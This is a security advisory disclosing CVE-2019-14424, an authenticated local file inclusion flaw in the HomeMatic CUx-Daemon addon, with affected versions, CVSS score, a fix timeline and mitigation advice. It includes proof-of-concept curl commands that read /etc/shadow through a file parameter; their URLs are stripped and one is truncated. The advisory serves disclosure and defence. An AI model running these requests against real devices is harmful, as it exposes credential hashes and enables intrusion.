CVE-2019-14424: Local File Inclusion in HomeMatic CUx-Daemon

, Joshua Lehr


  • Vulnerability: Local File Inclusion (LFI)
  • Vendor: Uwe Langhammer (Alex Krypthul)
  • Vendor Homepage:
  • Product: HomeMatic Addon CUx-Daemon
  • Testet on: CCU-Firmware 2.35.16 until 2.45.6 CUx-Daemon Version 1.5a
  • Version: CUx-Daemon Version 1.11a until 2.2.0


HomeMatic is a home automation system consisting of various components for automating several parts of a building, including different sensors and actuators. The HomeMatic CCU2 is a central control unit, which is responsible for integrating these components with each other.

From the HomeMatic’s website: “Homematic devices can be connected to one another and programmed via the control units and gateways. The Homematic Central Control Unit CCU2 is responsible for numerous control, signalling and supervision functions across all areas of the Homematic system. The device includes a browser based user interface to the up the system. It can be controlled in the local network as well as via Internet. The Homematic software offers various configuration and application possibilities, so that there are no limits to creativity for installing your individual smart home…”

Link to the vulnerable addon: This addon is compartible with CCU1, CCU2, CCU3 and RaspberryMatic. The issue can found on this systems as well.

Issue Description

While analyzing the implementation of the home automation system HomeMatic, one Local File Inclusion (LFI) vulnerability has been identified, which can be exploited in order to display sensitive information. The vulnerability is in the default CUx daemon addon of CCU firmware 2.35.16 to 2.45.6.

Affected Version

This vulnerability can be exploited by authenticated attackers with access to the web interface to display secret files for future attacks against this system.

The following bash commands illustrates this approach:

curl -k\?file\=/etc/shadow
curl -i -s -k  -X $'GET' \
    -H $'Host:' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer:' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \

Output of the first bash command command:


Website call in brwoser with Local File Inclusion command: POC execute systemcall and read /etc/shadow file


This vulnerability affects the confidentiality of secret system files. This allows an attacker to read any system data. If an attacker is aware of the security issue, he or she may steal important data to compromise the system in the next step.


In order to avoid this vulnerability, it’s suggested to disable the addon: CUx-Daemon Version 1.11a until 2.2.0

Software patch are here available:


  • CVE: CVE-2019-14424
  • CVSS Base Score: 6.5
  • CVSS: 3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N


  • Joshua Lehr

Disclosure Timeline

  • 2019-June-15: Discovered vulnerability
  • 2019-June-16: Vendor Notification
  • 2019-June-21: Vendor Fix/Patch
  • 2019-Juli-15: Public Disclosure


The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

System administrators need tools like this to discover vulnerable hosts. This tool is offered for legal purposes only and to forward the security community’s understanding of this vulnerability. As this PoC actively exploits the vulnerability, do not use against targets without prior permission.

The contents of this advisory are copyright (c) 2019 Joshua Lehr and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.


This work is licensed under a CC BY-NC-SA 4.0